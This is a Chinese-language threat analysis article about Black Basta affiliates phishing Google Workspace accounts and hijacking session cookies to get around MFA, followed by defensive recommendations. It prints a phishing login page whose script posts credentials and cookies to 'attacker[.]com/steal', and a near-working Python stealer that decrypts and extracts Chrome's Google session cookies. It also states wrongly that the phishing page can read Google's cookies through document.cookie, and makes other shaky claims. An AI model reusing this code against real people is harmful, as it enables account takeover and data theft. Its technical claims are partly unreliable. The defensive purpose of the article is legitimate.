首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Black Basta泄露事件揭示的谷歌账户钓鱼与接管风险研究

Black Basta泄露事件揭示的谷歌账户钓鱼与接管风险研究

原创
作者头像
芦笛
发布2025-11-24 09:28:53
发布2025-11-24 09:28:53
2030
举报

一、引言

近年来,勒索软件组织的运作模式日趋专业化和模块化。作为继Conti之后活跃于2022至2024年间的主流勒索团伙,Black Basta不仅在技术能力上表现出高度成熟性,其组织结构亦呈现出企业化特征——包括固定薪资、办公场所、节日聚会及明确分工。然而,随着该组织于2024年下半年逐步瓦解,其内部通信记录的大规模泄露为安全研究界提供了罕见的一手资料。其中,2025年2月由自称前成员“ExploitWhispers”披露的约20万条内部聊天日志,尤为清晰地揭示了该组织如何系统性地利用钓鱼攻击获取目标企业的谷歌账户访问权限,并以此作为横向移动和数据窃取的关键跳板。

值得注意的是,此类攻击并非依赖传统密码爆破或凭证填充,而是聚焦于窃取浏览器会话令牌(session tokens),从而绕过多因素认证(MFA)机制实现账户接管。这一战术凸显了当前身份安全体系中的结构性漏洞:即便用户启用了强认证措施,一旦终端设备被植入恶意负载或诱导访问伪造页面,攻击者仍可直接复用合法会话,实现“无凭证登录”。本文基于Black Basta泄露数据中的技术细节与战术描述,结合现代身份认证架构的工作原理,深入剖析谷歌账户钓鱼与接管的技术路径、攻击链条及防御盲区,并提出具备实操性的缓解策略。全文旨在为安全从业者提供一个从攻击者视角反推防御体系缺陷的分析框架,而非泛泛而谈“加强安全意识”或“启用MFA”等表面建议。

二、Black Basta组织背景与泄露事件概述

Black Basta自2022年初开始活动,迅速成为全球最具破坏力的勒索软件运营商之一。据网络安全公司Barracuda发布的报告,该组织核心领导者为Oleg Nefedov(化名Trump/Tramp、GG、AA),其曾深度参与Revil与Conti等知名勒索团伙的运营,具备丰富的网络犯罪经验。Black Basta采用典型的“勒索即服务”(RaaS)模式,由核心团队开发加密载荷与数据泄露平台,而初始访问(Initial Access)则外包给专业附属团伙(affiliates)。

2025年2月11日,名为“ExploitWhispers”的匿名人士在暗网论坛发布Black Basta内部Discord服务器的完整聊天记录,涵盖2022年中至2024年末的通信内容。这些日志不仅包含受害者名单、赎金谈判记录、内部分工指令,更详细记载了多种初始入侵技术,其中尤以针对Microsoft Teams与Google Workspace账户的钓鱼攻击最为突出。ReliaQuest等安全机构在分析后指出,泄露数据中多次提及两名Exploit论坛用户——SebastianPereiro与marmalade_knight,前者涉及Microsoft Teams零日漏洞讨论,后者则专注于暴力破解工具配置。更重要的是,有证据表明Black Basta的初始访问团队成员活跃于该论坛,并专门从事两类高危活动:一是伪装IT支持人员实施钓鱼;二是通过搜索引擎优化(SEO)投毒引导用户下载恶意软件。

其中,一名成员明确描述了其针对谷歌账户的钓鱼流程:构建高仿真的Google登录页面,诱导用户输入凭据后不仅记录密码,更通过嵌入JavaScript脚本提取浏览器中的__Secure-3PAPISID、__Secure-3PSID等关键Cookie。这些Cookie构成OAuth 2.0会话令牌的核心组成部分,攻击者将其导入自身浏览器后,即可在不触发MFA的情况下直接访问受害者Google Workspace邮箱、Drive、Calendar等服务。此过程完全规避了传统凭证验证环节,使得即使部署了硬件安全密钥(如YubiKey)的企业账户亦面临被接管风险。

黑色Basta泄露突显了网络钓鱼和Google接管风险

三、谷歌账户认证机制与会话令牌原理

要理解Black Basta所利用的攻击向量,必须首先厘清Google账户的认证与授权架构。Google采用基于OAuth 2.0与OpenID Connect(OIDC)的现代身份协议,其认证流程可分为三个阶段:身份验证(Authentication)、授权(Authorization)与会话维持(Session Maintenance)。

当用户首次登录Google服务时,系统会要求输入用户名与密码(第一因素),随后根据策略触发第二因素(如TOTP、短信验证码或FIDO2安全密钥)。验证通过后,Google Identity Provider(IdP)会颁发一组短期有效的ID Token(用于身份声明)与Access Token(用于API调用),同时在用户浏览器中设置多个HttpOnly且Secure标记的Cookie,主要包括:

__Secure-3PAPISID

__Secure-3PSID

__Secure-3PSIDCC

SIDCC

NID(非关键)

其中,__Secure-3PSID与__Secure-3PAPISID是维持长期会话的核心。它们由Google服务器加密生成,绑定特定设备指纹与IP地址范围,并用于后续请求的身份验证。只要这些Cookie有效且未被主动登出,用户无需重复输入密码或MFA即可持续访问服务。这一设计极大提升了用户体验,但也引入了“会话劫持”(Session Hijacking)风险。

攻击者一旦获取上述Cookie(尤其是前两者),即可通过以下方式实现账户接管:

手动导入:使用浏览器扩展(如EditThisCookie)或开发者工具,在攻击者控制的浏览器中注入窃取的Cookie;

自动化脚本:编写Python或JavaScript脚本,利用Selenium或Puppeteer等无头浏览器库自动加载Cookie并执行操作;

代理中继:将Cookie嵌入HTTP请求头,通过自定义客户端直接调用Google API。

值得注意的是,Google虽对异常登录行为(如地理位置突变、新设备登录)进行风险评估并可能触发二次验证,但若攻击者在短时间内从相似网络环境(如同一国家、相近ASN)发起请求,系统往往不会中断会话。这为Black Basta等组织提供了可乘之机。

四、钓鱼攻击技术路径与代码实现分析

根据泄露日志,Black Basta附属团伙主要采用两种钓鱼策略获取谷歌会话令牌:高仿真钓鱼页面与Teams诱导式载荷投递。

(一)高仿真钓鱼页面构造

攻击者首先注册与目标企业域名高度相似的域名(如google-workspace-login[.]com),随后克隆Google登录界面的HTML、CSS与JavaScript资源。关键在于,其在表单提交处理函数中嵌入额外逻辑,用于捕获并回传Cookie。

以下为简化版钓鱼页面核心代码示例:

<!DOCTYPE html>

<html>

<head>

<title>Google Workspace 登录</title>

<!-- 引入Google官方样式以增强可信度 -->

<link rel="stylesheet" href="https://ssl.gstatic.com/accounts/ui/...">

</head>

<body>

<div id="login-container">

<form id="login-form" action="https://accounts.google.com/signin/v2/identifier" method="POST">

<input type="email" name="identifier" required placeholder="电子邮件或电话">

<input type="password" name="password" required>

<button type="submit">下一步</button>

</form>

</div>

<script>

document.getElementById('login-form').addEventListener('submit', function(e) {

e.preventDefault();

// 1. 获取用户输入的凭据

const email = document.querySelector('input[name="identifier"]').value;

const password = document.querySelector('input[name="password"]').value;

// 2. 窃取当前页面的所有Cookie(实际攻击中会过滤关键字段)

const cookies = document.cookie;

// 3. 将凭据与Cookie发送至攻击者控制的服务器

fetch('https://attacker[.]com/steal', {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({

email: email,

password: password,

cookies: cookies

})

}).then(() => {

// 4. 重定向至真实Google登录页,避免用户察觉

window.location.href = 'https://accounts.google.com/';

});

});

</script>

</body>

</html>

该脚本在用户点击“下一步”后,先拦截表单提交,提取凭据与Cookie,再异步发送至攻击者服务器,最后跳转至真实Google页面。由于整个过程在毫秒级完成,用户通常误以为只是网络延迟,难以察觉异常。

(二)Microsoft Teams诱导式载荷投递

另一种更隐蔽的手法是通过伪造IT部门通知,在Microsoft Teams中发送“安全更新”或“账户验证”链接。点击后,用户被引导至上述钓鱼页面。更有甚者,攻击者会利用Teams的富文本消息功能嵌入伪装按钮,提升点击率。

一旦用户在受感染设备上登录Google账户,攻击者还可通过后续投递的恶意Python脚本自动提取本地存储的Cookie。例如,在Windows系统中,Chrome浏览器的Cookie数据库位于:

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies

该SQLite数据库虽经DPAPI加密,但攻击者可利用当前用户权限调用Windows API解密。以下Python脚本演示了如何提取并解析Chrome Cookie(需在受害者机器上运行):

import os

import json

import sqlite3

import win32crypt

from Crypto.Cipher import AES

import shutil

def get_encryption_key():

local_state_path = os.path.join(os.environ["LOCALAPPDATA"],

"Google", "Chrome", "User Data", "Local State")

with open(local_state_path, "r", encoding="utf-8") as f:

local_state = json.load(f)

encrypted_key = local_state["os_crypt"]["encrypted_key"]

encrypted_key = base64.b64decode(encrypted_key)[5:] # 去除DPAPI前缀

return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

def decrypt_cookie(encrypted_value, key):

nonce = encrypted_value[3:15]

ciphertext = encrypted_value[15:-16]

tag = encrypted_value[-16:]

cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)

return cipher.decrypt_and_verify(ciphertext, tag).decode()

def extract_cookies():

db_path = os.path.join(os.environ["LOCALAPPDATA"],

"Google", "Chrome", "User Data", "Default", "Cookies")

temp_db = "temp_cookies.db"

shutil.copyfile(db_path, temp_db)

conn = sqlite3.connect(temp_db)

cursor = conn.cursor()

cursor.execute("SELECT host_key, name, encrypted_value FROM cookies WHERE host_key LIKE '%google%'")

key = get_encryption_key()

cookies = {}

for host_key, name, encrypted_value in cursor.fetchall():

if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):

decrypted = decrypt_cookie(encrypted_value, key)

else:

decrypted = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode()

cookies[name] = decrypted

conn.close()

os.remove(temp_db)

return cookies

# 示例:提取关键Google Cookie

google_cookies = extract_cookies()

critical_tokens = {k: v for k, v in google_cookies.items()

if k in ['__Secure-3PSID', '__Secure-3PAPISID']}

print(json.dumps(critical_tokens))

该脚本可被封装为可执行文件,通过钓鱼邮件或Teams消息诱导用户运行。一旦执行,即可自动提取并回传关键会话令牌,实现完全静默的账户接管。

五、现有防御体系的局限性

尽管业界普遍推崇MFA作为账户安全的基石,但Black Basta的攻击手法暴露了其在会话层防护上的根本缺陷。具体而言,现有防御存在三大盲区:

第一,MFA仅作用于初始认证阶段。一旦会话建立,后续所有操作均依赖Cookie验证,MFA不再介入。这意味着攻击者无需破解密码或绕过MFA,只需窃取会话状态即可获得同等权限。

第二,终端安全策略覆盖不足。许多企业允许员工在公司设备上使用个人Google账户(如Gmail、YouTube),这为攻击者提供了低风险入口。即使企业邮箱启用了严格策略,个人账户的会话令牌仍可被用于侦察、钓鱼或作为跳板访问其他服务。

第三,异常检测机制响应滞后。Google虽提供“最近活动”面板供用户审查登录记录,但普通用户极少主动检查。企业级Workspace管理员虽可配置警报规则(如非常规地点登录),但默认阈值宽松,且无法实时阻断已建立的会话。

此外,浏览器本身的安全模型亦存在局限。尽管HttpOnly属性可防止JavaScript读取Cookie,但上述Python脚本通过直接访问磁盘数据库绕过了该限制。而SameSite策略虽能缓解CSRF,却对钓鱼页面无效——因为用户是主动导航至攻击者站点。

六、缓解策略与纵深防御建议

针对上述风险,企业需构建覆盖终端、身份、网络与行为四个维度的纵深防御体系。

(一)强制会话绑定与短生命周期

Google Workspace管理员应启用上下文感知访问(Context-Aware Access)策略,将会话绑定至特定IP范围、设备合规状态及用户角色。例如,可配置规则:“仅允许来自公司网络且设备已安装EDR代理的用户访问敏感应用”。同时,缩短会话有效期(如设为8小时),迫使频繁重新认证,降低令牌被盗后的可用窗口。

(二)禁用个人Google账户在公司设备上的使用

通过组策略(GPO)或MDM解决方案(如Intune、Jamf),禁止员工在公司管理的设备上登录非企业Google账户。此举虽影响用户体验,但可显著缩小攻击面。对于必须使用的场景(如研发人员访问公开API),应隔离至专用沙箱环境。

(三)部署端点检测与响应(EDR)规则

在EDR平台中创建自定义检测规则,监控以下可疑行为:

非常规进程(如python.exe、powershell.exe)访问%LOCALAPPDATA%\Google\Chrome\User Data\目录;

浏览器扩展尝试读取跨域Cookie;

向未知域名发送包含__Secure-3PSID等关键字的HTTP请求。

例如,CrowdStrike或SentinelOne可基于YARA-L规则实现此类检测。

(四)实施浏览器隔离与安全工作空间

采用企业浏览器(如Island、Talon)或远程浏览器隔离(RBI)技术,将Web浏览活动与本地操作系统分离。即使用户访问钓鱼页面,恶意脚本也无法接触本地Cookie存储。同时,企业浏览器可强制所有Google流量经由代理,实施统一策略控制。

(五)加强用户教育与模拟演练

安全意识培训应超越“识别钓鱼邮件”层面,重点讲解会话令牌风险。可通过模拟攻击展示:即使输入正确密码并完成MFA,账户仍可能被接管。建议每季度开展一次针对性演练,测试员工对Teams钓鱼消息的识别能力。

七、结语

Black Basta数据泄露事件不仅是一次犯罪组织的内部曝光,更是对现代身份安全范式的深刻警示。它揭示了一个被长期忽视的事实:多因素认证虽能有效抵御凭证泄露,却无法防范会话状态的窃取与滥用。攻击者正从“破解密码”转向“劫持会话”,这一转变要求防御体系从静态凭证保护升级为动态会话治理。

本文通过还原攻击技术路径、剖析认证机制缺陷、提出多层缓解措施,旨在推动安全实践从“合规驱动”向“威胁驱动”演进。未来,随着Passkey等无密码技术的普及,会话令牌的重要性或将下降,但在过渡期内,企业必须正视这一风险,将终端安全、身份策略与行为分析深度融合,方能在日益复杂的威胁 landscape 中守住身份防线。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档